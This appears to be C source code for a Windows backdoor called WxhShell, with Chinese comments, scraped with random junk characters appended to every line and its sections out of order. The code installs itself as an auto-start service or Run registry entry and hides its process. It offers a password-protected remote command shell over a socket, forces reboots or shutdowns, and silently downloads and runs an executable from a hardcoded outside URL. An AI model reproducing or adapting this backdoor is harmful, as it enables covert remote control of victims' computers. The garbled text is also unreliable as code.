    else { nAY'1!Oi  
    closesocket(wsh); O$, bNu/g  
    ExitThread(0); rJws#^ ]  
    } (sN;B)  
    break; 'rSP@  
    } IuN:*P  
  // 获取shell 0.kQqy~5  
  case 's': { i-E/#zni  
    CmdShell(wsh); FAbl5VW'  
    closesocket(wsh); :W*']8 M-  
    ExitThread(0); R0DWjN$j  
    break; _=ziw|zI  
  } w\(; >e@  
  // 退出 $CP_oEb  
  case 'x': { , HHCgN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A2{s ?L,  
    CloseIt(wsh); [)KLmL%  
    break; , 3p$Z  
    } #24 eogo~  
  // 离开 ;:#g\|(<+  
  case 'q': { 2oFbS%OV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o5`LLVif5y  
    closesocket(wsh); = k7}[!T  
    WSACleanup(); ^!yJ;'H\  
    exit(1); } Rs@  
    break; l?J|Ip2W  
        } bUS"1Tg]*6  
  } wN^$8m5\T^  
  } d^W1;0  
,'z=cB`+o  
  // 提示信息 /\e&nYz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 86HK4sES  
} `S+B-I0  
  } @teNT"  
m%[`NP (  
  return; X J{b_h#N  
} '%\FT-{  
p"ElO,\  
// shell模块句柄 4y|%Oj  
int CmdShell(SOCKET sock) i3v|r 0O~L  
{ +204.Yj?D  
STARTUPINFO si; MF]EX  
ZeroMemory(&si,sizeof(si)); ^mZeAW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H(,D5y`k1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @?YO_</  
PROCESS_INFORMATION ProcessInfo; u>-pg u  
char cmdline[]="cmd"; f\]splL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `%nj$-W:  
  return 0; j]5mzz~  
} R[T94U  
d&ap u{  
// 自身启动模式 hUO&rov3@  
int StartFromService(void) +:jx{*}jo  
{ 3Lw&HtH  
typedef struct GT3 ?)g{Z  
{ -lDAxp6p  
  DWORD ExitStatus; uqFYa bU  
  DWORD PebBaseAddress; bz4TbGg]  
  DWORD AffinityMask; {j!+\neL  
  DWORD BasePriority; qrxn%#\XP  
  ULONG UniqueProcessId; /lqVMlz\77  
  ULONG InheritedFromUniqueProcessId; n,vs(ZL:  
}   PROCESS_BASIC_INFORMATION; ?X5Y8n]y\h  
}=T=Z#OgH  
PROCNTQSIP NtQueryInformationProcess; `iT{H]po  
IyJHKDFk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nlsif  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~]LkQQ'  
8\])p sb9  
  HANDLE             hProcess; 6tKCY(#oO+  
  PROCESS_BASIC_INFORMATION pbi; >jH%n(TcC  
h-+GS%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~f5g\n;  
  if(NULL == hInst ) return 0; 'vc>uY  
io^ L[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 75?z" i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H\!p%Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m.EIMuj  
dw"{inMf  
  if (!NtQueryInformationProcess) return 0; rwh,RI) )g  
 5i|DJ6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2T >K!jS  
  if(!hProcess) return 0; ~+OAAkJ9  
G>f2E49BXt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XjINRC8^4  
_Cnl|'  
  CloseHandle(hProcess); =QQTHL{3  
%S9YjMR@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &U7INUL  
if(hProcess==NULL) return 0; PbpnjvVrM  
A$ Tp0v`t  
HMODULE hMod; H68~5lJY^]  
char procName[255]; .m/$ku{/J  
unsigned long cbNeeded; `j)S7KN  
L$rMfe S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jS<(O o  
%f'mW2  
  CloseHandle(hProcess); (]gd$BgD  
:+*q,lX8  
if(strstr(procName,"services")) return 1; // 以服务启动 ]~!?(d!J/  
T_3JAH e  
  return 0; // 注册表启动 XMpa87\  
} & c V$`L  
%3;vDB*L$  
// 主模块 O}w"@gO@.  
int StartWxhshell(LPSTR lpCmdLine) BWG*UjP M  
{ "J (0J  
  SOCKET wsl; D6L5X/#  
BOOL val=TRUE; .0]\a~x  
  int port=0; 6zR9(c:a~  
  struct sockaddr_in door; (RBzpAiH  
^T&@(|o  
  if(wscfg.ws_autoins) Install(); AAW])c`.  
[QZ g=."  
port=atoi(lpCmdLine); PqDffZ^z  
\{u 9Kc  
if(port<=0) port=wscfg.ws_port; =R6IW,*  
B/F6WQdZ  
  WSADATA data; P#o"T4 >  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 56`Tna,t  
rK@XC +`S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o4PJ9x5R!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~4^~w#R  
  door.sin_family = AF_INET; n> tru L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [~&yLccN  
  door.sin_port = htons(port); ~OSgpM#O!T  
1=U NA :t<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T0TgV  
closesocket(wsl); ($or@lfs  
return 1; Vl\8*!OL%  
} M%(^GdI#Vf  
#ExNiFZ  
  if(listen(wsl,2) == INVALID_SOCKET) { ,$A'Y  
closesocket(wsl); {a9( Qi  
return 1; ' Ih f|;r  
} z&KrG  
  Wxhshell(wsl); iKM!>Fi  
  WSACleanup(); #AO?<L  
$~c wB  
return 0;  Qo$j'|lD  
BL[N  
} CFTw=b@  
9,c_(%C  
// 以NT服务方式启动 +{h.nqdAE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SPN5H;{[]K  
{ Uu_Es{@  
DWORD   status = 0; @ Cd#\D|  
  DWORD   specificError = 0xfffffff; -~] q?k?  
A~)#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PX/7:D?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %iR"eEE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a${<~M hm  
  serviceStatus.dwWin32ExitCode     = 0; ^g SZzJ5  
  serviceStatus.dwServiceSpecificExitCode = 0; +=MN_  
  serviceStatus.dwCheckPoint       = 0; N> jQe  
  serviceStatus.dwWaitHint       = 0; FKBI.}A?!'  
 PrqyJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z;Jz^m-  
  if (hServiceStatusHandle==0) return; NpLZ ,|H  
G nPrwDB  
status = GetLastError(); 3ZUME\U  
  if (status!=NO_ERROR) q,m+W='  
{ v8l3{qq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =JNCQu  
    serviceStatus.dwCheckPoint       = 0; \)`OEGdOR\  
    serviceStatus.dwWaitHint       = 0; ko{7^]gR  
    serviceStatus.dwWin32ExitCode     = status; q>rDxmP<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6m%#cP (6K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? FlQ\q  
    return; |}><)}  
  } x:$ xtu  
V jLv{f<p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MSaOFv_Q  
  serviceStatus.dwCheckPoint       = 0; [nASMKK0  
  serviceStatus.dwWaitHint       = 0; m gE r+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c> 0R_  
} 3 63KU@`  
z50P* eS  
// 处理NT服务事件,比如:启动、停止 2!Qg1hM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^).  
{ K1$   
switch(fdwControl) F}~qTF;H  
{ Bwl@Muw  
case SERVICE_CONTROL_STOP: 8+@j %l j  
  serviceStatus.dwWin32ExitCode = 0; hQ ?zc_ 3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fSF_O}kLp  
  serviceStatus.dwCheckPoint   = 0; gY&WH9sp?9  
  serviceStatus.dwWaitHint     = 0; s[bQO1g;*  
  { U8zCV*ag  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I%:\"g"c  
  } U#Wg"W{  
  return; b/"gUYo  
case SERVICE_CONTROL_PAUSE: >@)p*y.K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $f?GD<}?7r  
  break; v>0I=ut  
case SERVICE_CONTROL_CONTINUE: c!ieN9^+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J9-n3o  
  break; X;]I jha<*  
case SERVICE_CONTROL_INTERROGATE: \q@Co42n\  
  break; gA}?X  
}; zfw=U \  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Fw7q"  
} :cvT/xhO  
G=/^]E  
// 标准应用程序主函数 !oa/\p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rt>mAU$}  
{ goe %'k,  
.*edaDi  
// 获取操作系统版本 +ib&6IU  
OsIsNt=GetOsVer(); GL%)s?   
GetModuleFileName(NULL,ExeFile,MAX_PATH); h S)lQl:^  
2]]}Xvx4#  
  // 从命令行安装 h~lps?.#b  
  if(strpbrk(lpCmdLine,"iI")) Install(); ot0g@q[3  
GkpYf~\Q  
  // 下载执行文件 n^|SN9 _r  
if(wscfg.ws_downexe) { l >~Rzw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KM"BHaSkF  
  WinExec(wscfg.ws_filenam,SW_HIDE); jO-T1P']Y  
} @ZRg9M:N  
gBr /Y}I  
if(!OsIsNt) { 1~Z   
// 如果时win9x,隐藏进程并且设置为注册表启动 K@%gvLa\  
HideProc(); 1 -$+@Xl  
StartWxhshell(lpCmdLine); 2wu\.{6Zp  
} 2H1 [ oD[  
else _(-i46x}  
  if(StartFromService()) R"j<C13;%  
  // 以服务方式启动 CG;+Z-"X  
  StartServiceCtrlDispatcher(DispatchTable); g:Q:cSg<  
else + }$(j#h  
  // 普通方式启动 0V?7'Em  
  StartWxhshell(lpCmdLine); U1`pY:P  
9k \M<jA  
return 0; *cZ7?  
} M@JW/~p'  
nDcH;_<;9a  
h$mGaw vZ~  
[dFe-2u ,$  
=========================================== \l%##7DRp]  
x2TE[#><  
|8tKN"QG  
=YIosmr  
YYL3a=;`a  
E 6+ ooB[  
" P%ThW9^vnj  
, `PYU[  
#include <stdio.h> $4*gi&  
#include <string.h> EeH ghq  
#include <windows.h> @Ko#nDEq  
#include <winsock2.h> -/ G#ls|?  
#include <winsvc.h> `n@;%*6/  
#include <urlmon.h> hXvC>ie(i  
qHgzgS7a  
#pragma comment (lib, "Ws2_32.lib") m#ig.z|A  
#pragma comment (lib, "urlmon.lib") Vju/+  
e,Z[Nox  
#define MAX_USER   100 // 最大客户端连接数 #l h' !  
#define BUF_SOCK   200 // sock buffer M N (o  
#define KEY_BUFF   255 // 输入 buffer 6VS_L@  
%g^:0me`  
#define REBOOT     0   // 重启 }t:* w  
#define SHUTDOWN   1   // 关机 1:Ff#Eq,s  
5{WvV%  
#define DEF_PORT   5000 // 监听端口 EI)2 c.A  
2'@D0L  
#define REG_LEN     16   // 注册表键长度 ' 9%iHx-<  
#define SVC_LEN     80   // NT服务名长度 Q~/=p>=uu  
7nB X@Uo  
// 从dll定义API -p%cw0*Y]C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =v0w\( ?N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _Fn`G .r<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZvLI~ul(zT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'v@*xF/L6a  
YI;MS:Qj  
// wxhshell配置信息 `4?|yp.|L  
struct WSCFG { >3*a&_cI=k  
  int ws_port;         // 监听端口 ~1aM5Ba{  
  char ws_passstr[REG_LEN]; // 口令 8)2M%R\THn  
  int ws_autoins;       // 安装标记, 1=yes 0=no OO'zIC<z  
  char ws_regname[REG_LEN]; // 注册表键名 @iMF&\KC  
  char ws_svcname[REG_LEN]; // 服务名 C9_[ke[1D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xB]^^ NYE=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a_]l?t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CMyz!jZ3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #2lvRJB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +=d=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 11 k}Ly  
HGDiwA  
}; G*,7pc  
jtq ^((Ux  
// default Wxhshell configuration fQwLx  
struct WSCFG wscfg={DEF_PORT, \/C5L:|p_  
    "xuhuanlingzhe", wCV~9JTJ!  
    1, u?rX:KkS  
    "Wxhshell", bvHQ# :}H  
    "Wxhshell", bR1Q77<G\  
            "WxhShell Service", 7F_N{avr  
    "Wrsky Windows CmdShell Service", kZ]pV=\Y*  
    "Please Input Your Password: ", ;@:-T/=  
  1, jP0TyhM  
  "http://www.wrsky.com/wxhshell.exe", @6%7X7m  
  "Wxhshell.exe" }$sTnea  
    }; Ck>]+rl  
#3{{[i(;i  
// 消息定义模块 vT @25  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W`P>vK@=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :."6g)T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I[?bM-  
char *msg_ws_ext="\n\rExit."; Gd'_X D  
char *msg_ws_end="\n\rQuit."; 4@Z!?QzW  
char *msg_ws_boot="\n\rReboot..."; g>#}(u!PH  
char *msg_ws_poff="\n\rShutdown..."; ^t*Ba>A  
char *msg_ws_down="\n\rSave to "; 1*'gaa&y  
9g'6zB  
char *msg_ws_err="\n\rErr!"; (i?9/8I  
char *msg_ws_ok="\n\rOK!"; BjfTt:kY  
|7Ab_  
char ExeFile[MAX_PATH]; 9]lyV  
int nUser = 0; )D)4=LJ  
HANDLE handles[MAX_USER]; {t.S_|IE  
int OsIsNt; (uy\~Zb  
&Nw|(z&$  
SERVICE_STATUS       serviceStatus; _ b</ ::Tp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XX "3.zW  
Sqyju3Yp  
// 函数声明 Eau V  
int Install(void); +?[s"(  
int Uninstall(void); xP;>p| M  
int DownloadFile(char *sURL, SOCKET wsh); C N}0( 2n  
int Boot(int flag); ?A24h !7  
void HideProc(void); F\ GNLi  
int GetOsVer(void); Y*O Bky  
int Wxhshell(SOCKET wsl); B52dZb  
void TalkWithClient(void *cs); d0f(Uk  
int CmdShell(SOCKET sock); &Vu-*?  
int StartFromService(void); PfB9 .f{  
int StartWxhshell(LPSTR lpCmdLine); *~*"p)`<  
|5&7;;$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k*C[-5&#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *UXa.kT@  
`s3:Vsv4  
// 数据结构和表定义 !&`\MD>;~R  
SERVICE_TABLE_ENTRY DispatchTable[] = 9 g- 8u+&  
{ .u=|h3&  
{wscfg.ws_svcname, NTServiceMain}, "`%UC#  
{NULL, NULL} }R YPr  
}; -}( o+!nl  
DRTT3;,N  
// 自我安装 TZ3gJ6 Cb  
int Install(void) {*r!oD!'  
{ GU9p'E  
  char svExeFile[MAX_PATH]; .2_xTt   
  HKEY key; m(EV C}Y  
  strcpy(svExeFile,ExeFile); :S7[<SwL  
57]La^#  
// 如果是win9x系统,修改注册表设为自启动 84i0h$ZZo  
if(!OsIsNt) { & .#dZ}J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h?} S|>9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T &bB8tQk  
  RegCloseKey(key); a<>cbP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l<ZHS'-;8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2R^Eea  
  RegCloseKey(key); s8qpK; O  
  return 0; Fpwhyls  
    } rY1jC\  
  } @xso{$z?j  
} ,^<39ng  
else { ^gNbcWc7CU  
~?)y'?  
// 如果是NT以上系统,安装为系统服务 AMO{ee7Po  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v6E5#pse8  
if (schSCManager!=0) g:U -kK!i  
{ yS[HYq  
  SC_HANDLE schService = CreateService Ij XxH]2  
  ( ,_D@ggL-  
  schSCManager, B<$6Dj%L  
  wscfg.ws_svcname, -%K}~4J  
  wscfg.ws_svcdisp, &%k_BdlkQ  
  SERVICE_ALL_ACCESS, Y% @;\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L `=*Pwcj  
  SERVICE_AUTO_START, Tu,nX'q]m  
  SERVICE_ERROR_NORMAL, V`YmGo  
  svExeFile, #J8(*!I  
  NULL, \_i22/Et  
  NULL, BO6XY90(  
  NULL, e 0Z2B2  
  NULL, D~`RLPMk  
  NULL nPl,qcyY  
  ); ?P#\ CW  
  if (schService!=0) %|f@WxNrU  
  { TV0Y{x*~iH  
  CloseServiceHandle(schService); PGVp1TQ  
  CloseServiceHandle(schSCManager); oR7f3';?6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [9Tnp]q  
  strcat(svExeFile,wscfg.ws_svcname); "T<7j.P?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5LU7}v~/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sqjDh  
  RegCloseKey(key); huR ^l  
  return 0; N+H[Y4c?F&  
    } g2 mq?q(g  
  } zzh7 "M3Qn  
  CloseServiceHandle(schSCManager); ]gF=I5jn]  
} D5].^*AbZ  
} ~XvMiWuo  
9(_n8br1  
return 1; 9#~jlq(  
} Y`6<:8[?  
Gc5mR9pV   
// 自我卸载 V>UlL&V  
int Uninstall(void) YhooD,[.  
{  p1&=D%/  
  HKEY key; /Bk`3~]E>  
EQM[!g^a  
if(!OsIsNt) { -rHqU|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fZJM'+J@A  
  RegDeleteValue(key,wscfg.ws_regname); 77 Z:!J|  
  RegCloseKey(key); #T`1Z"h<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _G/uDP%  
  RegDeleteValue(key,wscfg.ws_regname); +@7c:CAy(  
  RegCloseKey(key); B)0;gWK  
  return 0; +>c%I&h}`  
  } +#A~O4%t  
} Q7UQwAN'  
} 3hzz*9/n  
else { DiZv sc  
#!_ViG )2^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ="Az g8W  
if (schSCManager!=0) <A`SC;k\u  
{ r?pFc3 ~N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z-" NLwt[  
  if (schService!=0) iuM ,a F  
  { rsw= a_S  
  if(DeleteService(schService)!=0) { 2n#H%&^?a  
  CloseServiceHandle(schService); }/IP\1bG  
  CloseServiceHandle(schSCManager); (hRg0Z=  
  return 0; 1 .o0"  
  } :x^e T  
  CloseServiceHandle(schService); d?cCSf  
  } S T4[d'|j  
  CloseServiceHandle(schSCManager); [ p(0g;bx  
} IEI&PRD  
} C*t0`3g d  
~4] J'E >  
return 1; <Skf n`).  
} c{x:'@%/s'  
ld5+/"$  
// 从指定url下载文件 zY-?Bv_D  
int DownloadFile(char *sURL, SOCKET wsh)  qzSm]l?z  
{ bhfKhXh8  
  HRESULT hr; XG5T`>Yl  
char seps[]= "/"; ^(BE_<~  
char *token; b'ir$RL] c  
char *file; 3u s^\w#  
char myURL[MAX_PATH]; N%=,S?b  
char myFILE[MAX_PATH]; >{Xyl):  
@B?'Mu*  
strcpy(myURL,sURL); tdp>vI!  
  token=strtok(myURL,seps); CE| *&G  
  while(token!=NULL) O>" |5 wj  
  { Q]dKyMSSA  
    file=token; 7x*C` Et<x  
  token=strtok(NULL,seps); p`!<yq2_  
  } z$(`{ o%a  
J$`5KbT3  
GetCurrentDirectory(MAX_PATH,myFILE); F& lSRL+v  
strcat(myFILE, "\\"); 5F]2.<i  
strcat(myFILE, file); _b * gg  
  send(wsh,myFILE,strlen(myFILE),0); tCu.Fc@  
send(wsh,"...",3,0); Ty3.u9c4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1.Neg|  
  if(hr==S_OK) {Wr5F9q  
return 0; ItZ*$I1<  
else rf!i?vAe  
return 1; wX <ov0?[  
@Q!Tvw/  
} 3 [O+wVv  
f/m0,EERk  
// 系统电源模块 uw@-.N^  
int Boot(int flag) r*FAUb`bG  
{ \(zUI  
  HANDLE hToken; ^^YP kh6sS  
  TOKEN_PRIVILEGES tkp; ~ET XXu${I  
&F*eo`o}6  
  if(OsIsNt) { iWkC: fQz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N7)K\)DS!z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1DH P5q  
    tkp.PrivilegeCount = 1; o}52Qio  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c68,,rJO]i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i\#?M  "  
if(flag==REBOOT) { r =]$>&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L;6{0b58 $  
  return 0; $9W,1wg  
} iRV=I,  
else { QQ %W3D @  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) crgVedx~}  
  return 0; UH((d*HX4  
} {GGP8  
  } A yOy&]g  
  else { _Y)Wi[  
if(flag==REBOOT) { hANe$10=H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vVjk9_Ul  
  return 0; SXNde@% {  
} zkd^5A; `  
else { f$--y|=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :edy(vC<  
  return 0; \9}DAM_  
} B!4~A{  
} L}K8cB  
NuXII-  
return 1; &&zsUAkS  
} R^INl@(O  
\86NV="U  
// win9x进程隐藏模块 |:L}/onK  
void HideProc(void) O]oH}#5b  
{ N]F}Z#h  
EQ>@K-R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +.-mqtM  
  if ( hKernel != NULL ) CbOCL~ "  
  { Ian+0 ?`e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yIWgC[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %Vk77(  
    FreeLibrary(hKernel); WM ]eb, 8q  
  } h:KEhj\d?  
!bCaDTz  
return; )`mBvS.}  
} )kYDN_W  
Xwd9-:  
// 获取操作系统版本 [* |+ it+!  
int GetOsVer(void) }-T,cA_H|  
{ HK VtO%&  
  OSVERSIONINFO winfo; VuD{t%Jb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @]Ac >&  
  GetVersionEx(&winfo); drbim8 !q~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eAjsMED  
  return 1; | 3`8$-  
  else T`GiM%R;g  
  return 0; .X:,]of  
} mri g5{  
Mt@Ma ]!  
// 客户端句柄模块 ^zfs8]QSf  
int Wxhshell(SOCKET wsl) #K!"/,d@>J  
{ N686~  
  SOCKET wsh; 2AEVBkF;M  
  struct sockaddr_in client; yI / FD  
  DWORD myID; Zh`[A9I/  
b,>>E^wd!  
  while(nUser<MAX_USER) 3u< ntx ><  
{ }L=Qp=4  
  int nSize=sizeof(client); ,vAcri 97  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `v)ZOw9&  
  if(wsh==INVALID_SOCKET) return 1; "/%o'Fq  
$weC '-n@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x0lAJaG  
if(handles[nUser]==0) M(n@ytz  
  closesocket(wsh); 6MLjU1  
else OP\L  
  nUser++; 5<P6PHdY  
  } *U`R<mV\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AS'+p%(  
2rb@Md]dx  
  return 0; [GcW*v  
} yq[@Cw  
by\Sq}  
// 关闭 socket DcE4r>8B  
void CloseIt(SOCKET wsh) rbl^ aik  
{ 8\jsGN.$JZ  
closesocket(wsh); ux6p2Sk;K  
nUser--; k *>"@  
ExitThread(0); ;d FJqo82  
} %"WhD'*z}  
LjIkZ'HuF  
// 客户端请求句柄 nYe:$t3F=  
void TalkWithClient(void *cs) 9Q'[>P=1  
{ ncTMcu  
R`B} T<*  
  SOCKET wsh=(SOCKET)cs; #w:nj1{_  
  char pwd[SVC_LEN]; RE1M4UV.  
  char cmd[KEY_BUFF]; PKQ.gPu6*@  
char chr[1]; vin3 i&k  
int i,j; !OMCsUZ  
L\V`ou  
  while (nUser < MAX_USER) { - FJLM  
&xp]9$  
if(wscfg.ws_passstr) { KLG29G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YOUB%N9+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = |2F?  
  //ZeroMemory(pwd,KEY_BUFF); p7HLSB2Rp  
      i=0; U+C ^"[B  
  while(i<SVC_LEN) { DO( 3hIj  
WBb*2  
  // 设置超时 !Uv>>MCr  
  fd_set FdRead; /y6I I$AvM  
  struct timeval TimeOut; f .$*9Fkw  
  FD_ZERO(&FdRead); JoZS p"R  
  FD_SET(wsh,&FdRead); ;lfv.-u:<  
  TimeOut.tv_sec=8; :Gew8G  
  TimeOut.tv_usec=0; 12;YxW>[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )uMv]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UcH#J &r  
[ako8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]&dPY[~,/i  
  pwd=chr[0]; ;>S|?M4GZ  
  if(chr[0]==0xd || chr[0]==0xa) { (/s~L*gF{  
  pwd=0; be$']}cP  
  break; ^a Q&.q  
  } &I%E8E  
  i++; }D.\2x(J  
    } X5)(,036  
SpYmgL?wJ  
  // 如果是非法用户,关闭 socket FZIC |uz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i% , 't  
} `r-3"or/$  
$cU7)vmK`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XVJH>Zw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X(\L1N  
i"pOYZW1  
while(1) { 7_jlNr7uk  
eTay/i<-  
  ZeroMemory(cmd,KEY_BUFF); 7[!dm_  
~>P(nI  
      // 自动支持客户端 telnet标准   6As%<g=  
  j=0; d={o|Mf  
  while(j<KEY_BUFF) { YBR)S_C$_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f1;@a>X  
  cmd[j]=chr[0]; OiS\tK?|GV  
  if(chr[0]==0xa || chr[0]==0xd) { pjs4FZ`Pd;  
  cmd[j]=0; 0s\ -iub=d  
  break; e8#83|h  
  } <XtE|LG  
  j++; )[|_q,  
    } cG%X}ZV5  
7upWM~H^  
  // 下载文件 yz5! >|EB  
  if(strstr(cmd,"http://")) { 7[UD;&\k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q ]VB}nO  
  if(DownloadFile(cmd,wsh)) gNc;P[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gS@<sO$d>  
  else Tj{3#?]Ho  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .wyuB;:  
  } .U44p*I  
  else { )Y9\>Xj7  
x 4sIZe+  
    switch(cmd[0]) { 0L1sF'ZN  
  +l.LwA  
  // 帮助 cc:$$_'L  
  case '?': { MvnQUZ  
